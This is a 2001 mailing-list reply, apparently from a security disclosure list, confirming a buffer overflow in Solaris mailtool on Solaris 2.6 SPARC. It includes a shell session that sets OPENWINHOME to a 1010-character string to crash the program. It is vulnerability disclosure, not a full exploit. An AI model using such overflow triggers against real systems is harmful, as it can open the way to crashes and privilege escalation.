RE: [synnergy] - Solaris mailtool(1) buffer overflow vulnerability

From: SChoe (schoeat_private)
Date: Tue May 29 2001 - 16:03:49 PDT

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    dethyat_private wrote:
    > [possibly others]
    
    /usr/openwin/bin/mailtool for solaris 2.6 / SPARC is
    also vulnerable to buffer overflow.
    
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    bash-2.04$ uname -a
    SunOS <hostname> 5.6 Generic_105181-23 sun4u sparc
    bash-2.04$ export OPENWINHOME=`perl -e 'print "A"x1010'`
    bash-2.04$ /usr/local/bin/mailtool
    Segmentation Fault
    bash-2.04$
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